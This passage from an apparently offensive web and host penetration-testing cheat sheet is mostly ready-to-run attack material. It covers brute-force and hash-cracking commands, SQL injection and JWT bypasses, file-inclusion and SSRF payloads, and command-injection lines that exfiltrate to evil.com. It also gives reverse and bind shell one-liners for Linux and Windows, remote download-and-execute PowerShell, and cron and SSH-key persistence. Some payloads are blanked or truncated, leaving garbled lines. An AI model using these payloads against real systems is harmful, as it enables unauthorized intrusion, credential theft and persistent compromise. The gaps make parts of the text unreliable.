Techniques\n```html\n\nalert(1)\n\n\npt>alert(1)ript>\n\n\n\nalert(1)\n\n\n\n<\tscript\t>alert(1)</\tscript\t>\n\n\n%3cscript%3ealert(1)%3c/script%3e\n\n\n%253cscript%253ealert(1)%253c/script%253e\n\n\n+ADw-script+AD4-alert(1)+ADw-/script+AD4-\n\n\n\n\n\n<\u017fcript>alert(1)</\u017fcript>\n```\n\n#### CSP Bypass\n```html\n\nalert(1)\n\n\neval('alert(1)')\n\n\n\n\n\n\n\n\n\n\n```\n\n---\n\n## Authentication Attacks\n\n### Brute Force Tools\n\n#### Hydra\n```bash\n# HTTP POST form\nhydra -l admin -P rockyou.txt target.com http-post-form \"/login:username=^USER^&password=^PASS^:Invalid\"\n\n# HTTP GET with basic auth\nhydra -L users.txt -P pass.txt target.com http-get /protected\n\n# HTTPS POST\nhydra -l admin -P pass.txt -s 443 target.com https-post-form \"/login:user=^USER^&pass=^PASS^:F=incorrect\"\n\n# With cookies\nhydra -l admin -P pass.txt target.com http-post-form \"/login:username=^USER^&password=^PASS^&cookie=value:H=session=abc123:F=Invalid\"\n\n# Multiple threads\nhydra -L users.txt -P pass.txt -t 16 target.com http-post-form \"/login:username=^USER^&password=^PASS^:Invalid\"\n\n# Output\nhydra -L users.txt -P pass.txt target.com http-post-form \"/login:user=^USER^&pass=^PASS^:Invalid\" -o results.txt\n\n# SSH\nhydra -L users.txt -P pass.txt ssh://target.com\n\n# FTP\nhydra -l admin -P pass.txt ftp://target.com\n\n# SMTP\nhydra -l admin@target.com -P pass.txt smtp://target.com\n\n# MySQL\nhydra -l root -P pass.txt mysql://target.com\n\n# RDP\nhydra -L users.txt -P pass.txt rdp://target.com\n\n# SMB\nhydra -L users.txt -P pass.txt smb://target.com\n```\n\n#### Medusa\n```bash\n# HTTP\nmedusa -h target.com -U users.txt -P pass.txt -M http -m DIR:/login -T 10\n\n# SSH\nmedusa -h target.com -U users.txt -P pass.txt -M ssh -T 4\n\n# FTP\nmedusa -h target.com -U users.txt -P pass.txt -M ftp\n\n# MySQL\nmedusa -h target.com -U users.txt -P pass.txt -M mysql\n```\n\n#### Patator\n```bash\n# HTTP POST\npatator http_fuzz url=https://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=pass.txt -x ignore:fgrep='Invalid'\n\n# FTP\npatator ftp_login host=target.com user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg='Login incorrect'\n\n# SSH\npatator ssh_login host=target.com user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg='Authentication failed'\n```\n\n### Dictionary Attacks with Hashcat\n\n#### Hash Identification\n```bash\n# Identify hash type\nhashid hash.txt\nhash-identifier hash\n```\n\n#### Common Hash Modes\n```bash\n# MD5\nhashcat -m 0 hash.txt rockyou.txt\n\n# SHA1\nhashcat -m 100 hash.txt rockyou.txt\n\n# SHA256\nhashcat -m 1400 hash.txt rockyou.txt\n\n# SHA512\nhashcat -m 1800 hash.txt rockyou.txt\n\n# NTLM\nhashcat -m 1000 hash.txt rockyou.txt\n\n# bcrypt\nhashcat -m 3200 hash.txt rockyou.txt\n\n# WordPress\nhashcat -m 400 hash.txt rockyou.txt\n\n# Joomla\nhashcat -m 400 hash.txt rockyou.txt\n\n# Drupal\nhashcat -m 7900 hash.txt rockyou.txt\n```\n\n#### Attack Modes\n```bash\n# Straight (wordlist)\nhashcat -a 0 -m 0 hash.txt rockyou.txt\n\n# Combination\nhashcat -a 1 -m 0 hash.txt wordlist1.txt wordlist2.txt\n\n# Mask attack (brute force)\nhashcat -a 3 -m 0 hash.txt ?l?l?l?l?l?l?l?l\n\n# Hybrid wordlist + mask\nhashcat -a 6 -m 0 hash.txt rockyou.txt ?d?d?d\n\n# Hybrid mask + wordlist\nhashcat -a 7 -m 0 hash.txt ?d?d?d rockyou.txt\n\n# Rule-based\nhashcat -a 0 -m 0 hash.txt rockyou.txt -r best64.rule\n```\n\n#### Rules and Masks\n```bash\n# Common masks\n?l = lowercase (a-z)\n?u = uppercase (A-Z)\n?d = digits (0-9)\n?s = special (!@#$%^&*)\n?a = all (l,u,d,s)\n?b = binary (0x00-0xff)\n\n# Examples\n?l?l?l?l?l = 5 lowercase\n?u?l?l?l?d?d = Capital + 3 lowercase + 2 digits\n?d?d?d?d?d?d = 6 digits\n?a?a?a?a?a?a = 6 any characters\n\n# Built-in rules\n/usr/share/hashcat/rules/best64.rule\n/usr/share/hashcat/rules/d3ad0ne.rule\n/usr/share/hashcat/rules/OneRuleToRuleThemAll.rule\n```\n\n### John the Ripper\n\n```bash\n# Basic crack\njohn --wordlist=rockyou.txt hash.txt\n\n# With format\njohn --format=raw-md5 --wordlist=rockyou.txt hash.txt\n\n# Show results\njohn --show hash.txt\n\n# Single crack mode\njohn --single hash.txt\n\n# Incremental (brute force)\njohn --incremental hash.txt\n\n# Rules\njohn --wordlist=rockyou.txt --rules hash.txt\n\n# Shadow file\nunshadow passwd shadow > combined.txt\njohn --wordlist=rockyou.txt combined.txt\n\n# SSH private key\nssh2john id_rsa > id_rsa.hash\njohn --wordlist=rockyou.txt id_rsa.hash\n```\n\n### Authentication Bypass Techniques\n\n#### SQL Injection Bypass\n```sql\nadmin' --\nadmin' #\nadmin'/*\n' or 1=1--\n' or 1=1#\n' or 1=1/*\n') or '1'='1--\n') or ('1'='1--\n' UNION SELECT 1,'admin','password'--\n' UNION SELECT NULL,NULL,NULL--\n```\n\n#### Parameter Tampering\n```http\n# Change user ID\nGET /profile?user_id=1\nGET /profile?user_id=2\n\n# Change role parameter\nPOST /admin\nrole=user \u2192 role=admin\n\n# Boolean parameters\nisAdmin=false \u2192 isAdmin=true\nadmin=0 \u2192 admin=1\n\n# Array parameters\nuser_ids[]=1 \u2192 user_ids[]=2\n```\n\n#### JWT Attacks\n```bash\n# Decode JWT\necho \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\" | base64 -d\n\n# JWT tool\njwt_tool token.jwt -T\n\n# Change algorithm to none\njwt_tool token.jwt -X a\n\n# Brute force secret\njwt_tool token.jwt -C -d rockyou.txt\n\n# Kid injection\njwt_tool token.jwt -I -hc kid -hv \"../../../dev/null\"\n```\n\n#### OAuth Misconfiguration\n```http\n# Redirect URI manipulation\nhttps://target.com/oauth/callback?code=xxx&state=yyy\nhttps://evil.com/oauth/callback?code=xxx&state=yyy\n\n# CSRF on OAuth\n\n\n# Scope escalation\nscope=read \u2192 scope=read+write\n```\n\n#### Session Fixation\n```http\n# Set session before login\nGET /login?PHPSESSID=attacker_session\n\n# After login, same session ID is authenticated\nGET /profile HTTP/1.1\nCookie: PHPSESSID=attacker_session\n```\n\n#### 2FA Bypass\n```http\n# Response manipulation\nHTTP/1.1 302 Found\nLocation: /2fa\n\n# Change to:\nHTTP/1.1 302 Found\nLocation: /dashboard\n\n# Parameter tampering\n2fa=123456 \u2192 2fa=000000\n\n# Null parameter\n2fa=123456 \u2192 2fa=\n\n# OTP reuse\n```\n\n---\n\n## File Inclusion Vulnerabilities\n\n### Local File Inclusion (LFI)\n\n#### Basic LFI\n```http\n# Directory traversal\nhttps://target.com/page?file=../../etc/passwd\nhttps://target.com/page?file=..\\..\\..\\windows\\win.ini\n\n# URL encoded\nhttps://target.com/page?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd\nhttps://target.com/page?file=..%252f..%252fetc%252fpasswd\n\n# Double encoding\nhttps://target.com/page?file=%25%32%65%25%32%65%25%32%66etc%25%32%66passwd\n```\n\n#### LFI with Null Byte (PHP < 5.3)\n```http\nhttps://target.com/page?file=../../etc/passwd%00\nhttps://target.com/page?file=../../etc/passwd%00.php\n```\n\n#### LFI with Path Truncation\n```http\nhttps://target.com/page?file=../../../../etc/passwd......................\nhttps://target.com/page?file=../../../../etc/passwd////////////////////\n```\n\n#### LFI Wrappers\n```php\n# PHP filter wrapper (read source)\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=index.php\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd\n\n# PHP input wrapper (execute code)\nPOST /page?file=php://input HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\n\n\n# PHP expect wrapper (if enabled)\nhttps://target.com/page?file=expect://id\n\n# Data wrapper\nhttps://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+\n\n# File wrapper\nhttps://target.com/page?file=file:///etc/passwd\n\n# Zip wrapper\nhttps://target.com/page?file=zip://shell.jpg#shell.php\n```\n\n### Remote File Inclusion (RFI)\n\n```http\n# Basic RFI\nhttps://target.com/page?file=http://evil.com/shell.txt\nhttps://target.com/page?file=https://evil.com/shell.php\nhttps://target.com/page?file=ftp://evil.com/shell.txt\n\n# With URL encoding\nhttps://target.com/page?file=http%3A%2F%2Fevil.com%2Fshell.txt\n\n# PHP wrapper\nhttps://target.com/page?file=php://filter/convert.base64-encode/resource=http://evil.com/shell.php\n```\n\n### Log Poisoning\n\n```bash\n# Apache access log poisoning\n# Inject PHP code in User-Agent\ncurl -A \"\" https://target.com\n\n# Then include log file\nhttps://target.com/page?file=/var/log/apache2/access.log\n\n# SSH log poisoning\nssh ''@target.com\nhttps://target.com/page?file=/var/log/auth.log\n\n# Mail log poisoning\ntelnet target.com 25\nMAIL FROM: \nRCPT TO: victim@localhost\nDATA\nSubject: test\ntest\n.\n\nhttps://target.com/page?file=/var/log/mail.log\n```\n\n### LFI to RCE\n\n```bash\n# Proc self/environ poisoning\ncurl -H \"User-Agent: \" https://target.com\nhttps://target.com/page?file=/proc/self/environ\n\n# Session file poisoning\n# First, set session variable\nhttps://target.com/page?file=\n# Then include session file\nhttps://target.com/page?file=/var/lib/php/sessions/sess_\n\n# Temp file upload (race condition)\n# Upload file, then include before cleanup\nhttps://target.com/page?file=/tmp/php\n```\n\n### LFI Discovery Wordlist\n```bash\n# Common LFI files\n/etc/passwd\n/etc/shadow\n/etc/hosts\n/etc/apache2/apache2.conf\n/etc/nginx/nginx.conf\n/var/log/apache2/access.log\n/var/log/nginx/access.log\n/var/log/auth.log\n/var/log/mail.log\n/proc/self/environ\n/proc/self/cmdline\n/proc/self/fd/0\n/proc/self/fd/1\n/proc/self/fd/2\nC:\\boot.ini\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\n```\n\n---\n\n## Server-Side Request Forgery (SSRF)\n\n### Basic SSRF\n\n```http\n# Localhost access\nhttps://target.com/fetch?url=http://127.0.0.1/\nhttps://target.com/fetch?url=http://localhost/\nhttps://target.com/fetch?url=http://[::1]/\nhttps://target.com/fetch?url=http://0.0.0.0/\n\n# Decimal IP\nhttps://target.com/fetch?url=http://2130706433/ (127.0.0.1)\nhttps://target.com/fetch?url=http://3232235521/ (192.168.0.1)\n\n# Octal IP\nhttps://target.com/fetch?url=http://0177.0.0.1/\nhttps://target.com/fetch?url=http://0x7f.0x0.0x0.0x1/\n\n# Domain tricks\nhttps://target.com/fetch?url=http://localhost.127.0.0.1.nip.io/\nhttps://target.com/fetch?url=http://127.0.0.1.xip.io/\n```\n\n### Cloud Metadata SSRF\n\n```bash\n# AWS metadata\nhttps://target.com/fetch?url=http://169.254.169.254/latest/meta-data/\nhttps://target.com/fetch?url=http://169.254.169.254/latest/user-data/\nhttps://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# GCP metadata\nhttps://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/\nhttps://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n-H \"Metadata-Flavor: Google\"\n\n# Azure metadata\nhttps://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2017-08-01\n-H \"Metadata: true\"\n\n# Digital Ocean metadata\nhttps://target.com/fetch?url=http://169.254.169.254/metadata/v1.json\n```\n\n### Internal Network Scanning\n\n```bash\n# Port scan with SSRF\nfor port in {1..1024}; do\n    curl -s \"https://target.com/fetch?url=http://192.168.1.1:$port\" \\\n        | grep -q \"Connection refused\" || echo \"Port $port open\"\ndone\n\n# Discover internal IP ranges\nfor ip in {1..254}; do\n    curl -s \"https://target.com/fetch?url=http://10.0.0.$ip:80\" \\\n        -m 1 | grep -q \"Connection refused\" || echo \"10.0.0.$ip alive\"\ndone\n```\n\n### SSRF Bypass Techniques\n\n```bash\n# URL encoding\nhttps://target.com/fetch?url=http://%31%32%37%2E%30%2E%30%2E%31/\n\n# Double URL encoding\nhttps://target.com/fetch?url=http://%2531%2532%2537%252E%2530%252E%2530%252E%2531/\n\n# Redirect bypass\n# First, set up redirector\nhttps://evil.com/redirect?url=http://127.0.0.1:80\n# Then SSRF to redirector\nhttps://target.com/fetch?url=http://evil.com/redirect\n\n# DNS rebinding\n# Use dnsrebinder.net\nhttps://target.com/fetch?url=http://127.0.0.1.dnsrebinder.net\n\n# IPv6 bypass\nhttps://target.com/fetch?url=http://[::1]:80/\nhttps://target.com/fetch?url=http://[::ffff:7f00:0001]/\n\n# Alternative localhost representations\n127.0.0.0\n127.127.127.127\n127.0.1.3\n2130706433\n0x7f000001\n0177.0.0.1\n```\n\n### SSRF to RCE\n\n```bash\n# Internal Redis\nhttps://target.com/fetch?url=gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a\n\n# Internal Memcached\nhttps://target.com/fetch?url=gopher://127.0.0.1:11211/_stats\n\n# Internal MySQL\nhttps://target.com/fetch?url=mysql://127.0.0.1:3306/\n\n# Internal Elasticsearch\nhttps://target.com/fetch?url=http://127.0.0.1:9200/_cat/indices\n\n# Internal MongoDB\nhttps://target.com/fetch?url=mongodb://127.0.0.1:27017/\n```\n\n### SSRF with Different Protocols\n\n```bash\n# File protocol\nhttps://target.com/fetch?url=file:///etc/passwd\n\n# Dict protocol\nhttps://target.com/fetch?url=dict://127.0.0.1:3306/info\n\n# Gopher protocol\nhttps://target.com/fetch?url=gopher://127.0.0.1:8080/_GET%20/HTTP/1.0%0a%0a\n\n# FTP protocol\nhttps://target.com/fetch?url=ftp://anonymous:anonymous@127.0.0.1:21/\n\n# SFTP protocol\nhttps://target.com/fetch?url=sftp://user:pass@127.0.0.1:22/\n\n# TFTP protocol\nhttps://target.com/fetch?url=tftp://127.0.0.1:69/test\n```\n\n---\n\n## Command Injection\n\n### Basic Command Injection\n\n```bash\n# Command separators\n; id\n| id\n|| id\n& id\n&& id\n`id`\n$(id)\n\n# URL encoded\n%3Bid\n%7Cid\n%26%26id\n\n# Newline encoded\n%0aid\n```\n\n### Blind Command Injection\n\n```bash\n# Time-based\n; sleep 5\n| sleep 5\n& ping -c 10 127.0.0.1\n&& sleep 5\n\n# Output-based (if output is not returned)\n; wget http://evil.com/`whoami`\n| curl http://evil.com/$(id)\n& nslookup `hostname`.evil.com\n```\n\n### Command Injection Payloads\n\n```bash\n# Linux\n; id\n| id\n|| id\n& id\n&& id\n`id`\n$(id)\n; cat /etc/passwd\n| nc -e /bin/sh evil.com 4444\n& bash -i >& /dev/tcp/evil.com/4444 0>&1\n`wget http://evil.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh`\n\n# Windows\n& whoami\n| dir\n& ping -n 5 127.0.0.1\n& powershell -c \"Invoke-WebRequest -Uri http://evil.com/shell.exe -OutFile C:\\shell.exe\"\n```\n\n### Command Injection Bypass\n\n```bash\n# Space bypass\n${IFS}id\n{cat,/etc/passwd}\ncat${IFS}/etc/passwd\ncat< /etc/passwd\ncat>/etc/passwd\n\n# Character blacklist bypass\nc\\a\\t /etc/passwd\ncat /etc/pa??wd\ncat /etc/pass*\ncat /e'tc'/pa'ss'wd\necho \"Y2F0IC9ldGMvcGFzc3dk\" | base64 -d | bash\n\n# Command substitution\na=id; $a\nb=cat; $b /etc/passwd\nc=\"whoami\"; eval $c\n\n# Wildcards\n/???/?at /???/pass?? (cat /etc/passwd)\n/???/n? -e /???/pass?? (nc -e /bin/sh)\n```\n\n### Environment Variable Injection\n\n```bash\n# PATH manipulation\nPATH=/tmp:$PATH evil_binary\n\n# LD_PRELOAD injection\nLD_PRELOAD=/tmp/malicious.so vulnerable_binary\n\n# IFS injection\nIFS=,;`cat<<\" https://api.target.com/users\n\n# API key\ncurl -H \"X-API-Key: 123456\" https://api.target.com/users\ncurl \"https://api.target.com/users?api_key=123456\"\n\n# Basic auth\ncurl -u username:password https://api.target.com/users\n\n# OAuth2\ncurl -H \"Authorization: Bearer \" https://api.target.com/users\n```\n\n#### Parameter Fuzzing\n```bash\n# IDOR testing\ncurl https://api.target.com/users/1\ncurl https://api.target.com/users/2\ncurl https://api.target.com/users/1000\n\n# Parameter pollution\ncurl \"https://api.target.com/search?q=test&q=admin\"\n\n# JSON injection\ncurl -X POST https://api.target.com/users \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\"name\":\"test\",\"role\":\"admin\"}'\n\n# Mass assignment\ncurl -X PUT https://api.target.com/users/1 \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\"name\":\"test\",\"isAdmin\":true,\"balance\":999999}'\n```\n\n### GraphQL Testing\n\n#### Introspection\n```graphql\n# Get all types\n{\n  __schema {\n    types {\n      name\n      fields {\n        name\n        type {\n          name\n          kind\n        }\n      }\n    }\n  }\n}\n\n# Get queries\n{\n  __schema {\n    queryType {\n      fields {\n        name\n        args {\n          name\n          type {\n            name\n            kind\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n#### Query Examples\n```graphql\n# Basic query\n{\n  user(id: 1) {\n    name\n    email\n    posts {\n      title\n    }\n  }\n}\n\n# Mutation\nmutation {\n  createUser(input: {name: \"test\", email: \"test@test.com\"}) {\n    id\n    name\n  }\n}\n\n# Fragments\nfragment UserFields on User {\n  id\n  name\n  email\n}\n\nquery {\n  user(id: 1) {\n    ...UserFields\n  }\n}\n\n# Aliases\n{\n  user1: user(id: 1) {\n    name\n  }\n  user2: user(id: 2) {\n    name\n  }\n}\n```\n\n#### GraphQL Attacks\n```graphql\n# Deep nested query (DoS)\nquery {\n  user(id: 1) {\n    posts {\n      comments {\n        user {\n          posts {\n            comments {\n              user {\n                posts {\n                  title\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\n# Alias-based attack\nquery {\n  a: user(id: 1) { name }\n  b: user(id: 1) { name }\n  c: user(id: 1) { name }\n  # ... repeated many times\n}\n\n# Introspection abuse\nquery {\n  __schema {\n    types {\n      name\n      fields {\n        name\n        type {\n          name\n          fields {\n            name\n            type {\n              name\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### API Security Tools\n\n#### Postman/Newman\n```bash\n# Run collections\nnewman run collection.json -e environment.json\n\n# With data\nnewman run collection.json -d data.csv\n\n# HTML report\nnewman run collection.json -r htmlextra\n```\n\n#### OWASP ZAP API Scan\n```bash\n# API scan\nzap-api-scan.py -t https://target.com/swagger.json -f openapi\n\n# Active scan\nzap-api-scan.py -t https://target.com/swagger.json -f openapi -a\n```\n\n#### Kiterunner\n```bash\n# API endpoint discovery\nkr scan https://target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt\n\n# Bruteforce with wordlist\nkr brute https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt\n```\n\n---\n\n## SSL/TLS Security\n\n### SSL/TLS Scanning\n\n#### testssl.sh\n```bash\n# Basic scan\n./testssl.sh https://target.com\n\n# JSON output\n./testssl.sh --jsonfile results.json https://target.com\n\n# HTML report\n./testssl.sh --htmlfile report.html https://target.com\n\n# Check specific vulnerabilities\n./testssl.sh --heartbleed https://target.com\n./testssl.sh --poodle https://target.com\n./testssl.sh --freak https://target.com\n./testssl.sh --logjam https://target.com\n./testssl.sh --crime https://target.com\n./testssl.sh --breach https://target.com\n```\n\n#### sslyze\n```bash\n# Basic scan\nsslyze target.com\n\n# Check certificates\nsslyze --certinfo target.com\n\n# Check protocols\nsslyze --tlsv1 --tlsv1_1 --tlsv1_2 --tlsv1_3 target.com\n\n# Check vulnerabilities\nsslyze --heartbleed --robot --fallback target.com\n\n# JSON output\nsslyze --json_out=results.json target.com\n```\n\n#### sslscan\n```bash\n# Basic scan\nsslscan target.com:443\n\n# Show certificate\nsslscan --show-certificate target.com\n\n# Check ciphers\nsslscan --no-ciphersuites target.com\n```\n\n### Manual SSL/TLS Checks\n\n```bash\n# OpenSSL connection\nopenssl s_client -connect target.com:443\nopenssl s_client -connect target.com:443 -tls1_2\nopenssl s_client -connect target.com:443 -cipher 'ECDHE-RSA-AES128-GCM-SHA256'\n\n# Certificate details\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -text\n\n# Check expiration\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates\n\n# Check SAN\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -ext subjectAltName\n\n# Supported protocols\nnmap --script ssl-enum-ciphers -p 443 target.com\n```\n\n### Security Headers Check\n\n```bash\n# HSTS check\ncurl -sI https://target.com | grep -i \"strict-transport-security\"\n\n# CSP check\ncurl -sI https://target.com | grep -i \"content-security-policy\"\n\n# HPKP (deprecated)\ncurl -sI https://target.com | grep -i \"public-key-pins\"\n\n# Expect-CT\ncurl -sI https://target.com | grep -i \"expect-ct\"\n\n# Certificate Transparency\ncurl -s https://crt.sh/?q=target.com\n```\n\n### SSL/TLS Vulnerabilities\n\n```bash\n# Heartbleed (CVE-2014-0160)\nnmap -p 443 --script ssl-heartbleed target.com\n\n# POODLE (CVE-2014-3566)\nnmap -p 443 --script ssl-poodle target.com\n\n# FREAK (CVE-2015-0204)\nnmap -p 443 --script ssl-freak target.com\n\n# DROWN (CVE-2016-0800)\nnmap -p 443 --script ssl-drown target.com\n\n# ROBOT (CVE-2017-17382)\nnmap -p 443 --script ssl-robot target.com\n\n# BEAST (CVE-2011-3389)\n# Check if TLS 1.0 is enabled\n\n# CRIME (CVE-2012-4929)\n# Check compression\n\n# BREACH (CVE-2013-3587)\n# Check HTTP compression\n```\n\n---\n\n## Post-Exploitation\n\n### Reverse Shells\n\n#### Linux Reverse Shells\n```bash\n# Bash\nbash -i >& /dev/tcp/10.10.14.1/4444 0>&1\n\n# Python\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\n\n# PHP\nphp -r '$s=fsockopen(\"10.10.14.1\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n\n# Perl\nperl -e 'use Socket;$i=\"10.10.14.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n\n# Ruby\nruby -rsocket -e'f=TCPSocket.open(\"10.10.14.1\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'\n\n# Netcat\nnc -e /bin/sh 10.10.14.1 4444\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f\n\n# Telnet\nrm -f /tmp/p; mknod /tmp/p p && telnet 10.10.14.1 4444 0/tmp/p\n\n# XTerm\nxterm -display 10.10.14.1:1\n```\n\n#### Windows Reverse Shells\n```powershell\n# PowerShell\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.1/ps.ps1')\"\n\n# PowerShell one-liner\npowershell -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.14.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n\n# Netcat\nnc.exe 10.10.14.1 4444 -e cmd.exe\n\n# msfvenom\nmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exe\n\n# VB Script\n# Create reverse shell VBS script\n```\n\n### Bind Shells\n\n```bash\n# Linux\nnc -lvnp 4444 -e /bin/sh\npython -c 'exec(\"import socket, subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1);s.bind((\\\"0.0.0.0\\\",4444));s.listen(1);c,a=s.accept();\\nwhile True: d=c.recv(1024); if len(d)==0: break; p=subprocess.Popen(d,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE); o=p.stdout.read()+p.stderr.read(); c.send(o)\")'\n\n# Windows\nnc.exe -lvnp 4444 -e cmd.exe\n```\n\n### TTY Upgrade\n\n```bash\n# Python\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\npython3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n\n# Script\nscript /dev/null -qc /bin/bash\n\n# Socat\nsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.1:4444\n\n# After getting shell, background (Ctrl+Z) and:\nstty raw -echo; fg\nexport TERM=xterm\nstty rows 40 cols 150\n```\n\n### Privilege Escalation\n\n#### Linux Enumeration\n```bash\n# System info\nuname -a\ncat /etc/os-release\ncat /etc/issue\nhostname\n\n# User info\nid\nwhoami\nsudo -l\ncat /etc/passwd\ncat /etc/shadow\nhistory\n\n# Process info\nps aux\nps -ef\ntop -n 1\n\n# Network info\nifconfig\nip a\nnetstat -an\nnetstat -tulpn\nss -tulpn\ncat /etc/hosts\n\n# File system\nfind / -perm -4000 2>/dev/null   # SUID\nfind / -perm -2000 2>/dev/null   # SGID\nfind / -writable -type f 2>/dev/null | grep -v proc\nfind / -name \"*.key\" -o -name \"*.pem\" -o -name \"*.crt\" 2>/dev/null\n\n# Cron jobs\ncat /etc/crontab\nls -la /etc/cron*\ngrep \"CRON\" /var/log/syslog\n\n# Installed software\ndpkg -l\nrpm -qa\npip list\ngem list\nnpm list -g\n\n# Environment variables\nenv\ncat ~/.bashrc\ncat ~/.bash_profile\n\n# Log files\ncat /var/log/auth.log\ncat /var/log/apache2/access.log\ncat /var/log/mysql/error.log\n\n# Config files\nfind / -name \"*.conf\" -o -name \"*.config\" 2>/dev/null\n```\n\n#### Linux Privilege Escalation Tools\n```bash\n# LinPEAS\ncurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh\n\n# LinEnum\nwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh\nchmod +x LinEnum.sh\n./LinEnum.sh\n\n# Linux Exploit Suggester\nwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh\nchmod +x linux-exploit-suggester.sh\n./linux-exploit-suggester.sh\n\n# pspy (process monitor)\nwget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64\nchmod +x pspy64\n./pspy64\n```\n\n#### Windows Enumeration\n```powershell\n# System info\nsysteminfo\nwmic os get caption,version,buildnumber\nwmic computersystem get domain,manufacturer,model,name\n\n# User info\nwhoami\nwhoami /priv\nwhoami /groups\nnet users\nnet localgroup administrators\n\n# Process info\ntasklist /v\nwmic process list full\n\n# Network info\nipconfig /all\nnetstat -an\nroute print\narp -a\n\n# File system\ndir C:\\\ndir \"C:\\Program Files\"\ndir \"C:\\Program Files (x86)\"\ndir C:\\Users\ndir /s *.config\ndir /s *.kdbx\ndir /s *.key\n\n# Services\nwmic service list brief\nsc query\nnet start\n\n# Installed software\nwmic product get name,version,vendor\ndir \"C:\\Program Files\"\nGet-ChildItem -Path \"C:\\Program Files\" -Recurse\n\n# Scheduled tasks\nschtasks /query /fo LIST /v\nGet-ScheduledTask\n\n# Registry\nreg query HKLM /f \"password\" /t REG_SZ /s\nreg query HKCU /f \"password\" /t REG_SZ /s\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"\n```\n\n#### Windows Privilege Escalation Tools\n```powershell\n# WinPEAS\nwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe\n.\\winPEASany.exe\n\n# PowerUp\nIEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')\nInvoke-AllChecks\n\n# Sherlock\nIEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')\nFind-AllVulns\n\n# Windows Exploit Suggester\nwget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py\npython windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo sysinfo.txt\n```\n\n### Persistence\n\n#### Linux Persistence\n```bash\n# SSH key\nmkdir -p ~/.ssh\necho \"ssh-rsa AAAAB3...\" >> ~/.ssh/authorized_keys\n\n# Cron job\necho \"* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'\" > /tmp/cron\ncrontab /tmp/cron\n\n# Systemd service\ncat > /etc/systemd/system/persistence.service << 